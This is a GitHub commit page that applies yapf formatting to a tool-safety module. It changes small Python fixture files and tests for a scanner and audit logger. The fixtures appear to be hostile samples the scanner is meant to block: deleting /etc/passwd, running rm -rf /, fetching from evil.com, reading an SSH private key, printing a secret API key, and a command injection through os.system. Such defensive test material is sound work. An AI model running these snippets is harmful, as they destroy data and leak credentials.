Skip to content

Commit ea7c67b

Browse files
committed
style(tools): apply yapf formatting
1 parent b465361 commit ea7c67b

17 files changed

Lines changed: 108 additions & 83 deletions
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,3 @@
11
import os
2+
23
os.remove("/etc/passwd")
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,3 @@
11
import subprocess
2+
23
subprocess.run(["pip", "install", "badpkg"], check=True)
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
11
import requests
2+
23
response = requests.get("https://evil.com/data")
34
print(response.text)
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
import os
2+
23
path = os.path.expanduser("~/.ssh/id_rsa")
34
with open(path) as f:
45
content = f.read()
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
11
import os
2+
23
api_key = os.environ.get("SECRET_API_KEY")
34
print(f"API_KEY={api_key}")
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
11
import os
2+
23
user_input = "; cat /etc/passwd"
34
os.system(f"cat {user_input}")
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,3 @@
11
import subprocess
2+
23
subprocess.run(["rm", "-rf", "/"], check=True)
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
11
import requests
2+
23
response = requests.get("https://api.example.com/data")
34
print(response.text)

tests/tools/safety/test_audit.py

Lines changed: 25 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,7 @@
1616

1717

1818
class TestSafetyAuditLogger:
19+
1920
def test_log_writes_valid_jsonl(self):
2021
with tempfile.NamedTemporaryFile(mode="w", suffix=".jsonl", delete=False) as f:
2122
log_path = f.name
@@ -71,28 +72,30 @@ def test_multiple_events_written(self):
7172
log_path = f.name
7273
try:
7374
logger = SafetyAuditLogger(output_path=log_path)
74-
logger.log_event(AuditEvent(
75-
timestamp="2026-07-10T12:00:00Z",
76-
tool_name="tool_a",
77-
decision="allow",
78-
risk_level=None,
79-
rule_ids=[],
80-
scan_duration_ms=1.0,
81-
sanitized=False,
82-
intercepted=False,
83-
script_hash="aaa",
84-
))
85-
logger.log_event(AuditEvent(
86-
timestamp="2026-07-10T12:01:00Z",
87-
tool_name="tool_b",
88-
decision="deny",
89-
risk_level="high",
90-
rule_ids=["NETWORK_PYTHON_004"],
91-
scan_duration_ms=2.0,
92-
sanitized=False,
93-
intercepted=True,
94-
script_hash="bbb",
95-
))
75+
logger.log_event(
76+
AuditEvent(
77+
timestamp="2026-07-10T12:00:00Z",
78+
tool_name="tool_a",
79+
decision="allow",
80+
risk_level=None,
81+
rule_ids=[],
82+
scan_duration_ms=1.0,
83+
sanitized=False,
84+
intercepted=False,
85+
script_hash="aaa",
86+
))
87+
logger.log_event(
88+
AuditEvent(
89+
timestamp="2026-07-10T12:01:00Z",
90+
tool_name="tool_b",
91+
decision="deny",
92+
risk_level="high",
93+
rule_ids=["NETWORK_PYTHON_004"],
94+
scan_duration_ms=2.0,
95+
sanitized=False,
96+
intercepted=True,
97+
script_hash="bbb",
98+
))
9699

97100
with open(log_path) as f:
98101
lines = f.readlines()

tests/tools/safety/test_filter.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,7 @@ def filter_instance(mock_scanner, mock_audit_logger):
4040

4141

4242
class TestToolSafetyFilter:
43+
4344
async def test_filter_blocks_on_deny(self, filter_instance, mock_scanner):
4445
mock_scanner.scan.return_value = ScanReport(
4546
decision=Decision.DENY,

0 commit comments

Comments
 (0)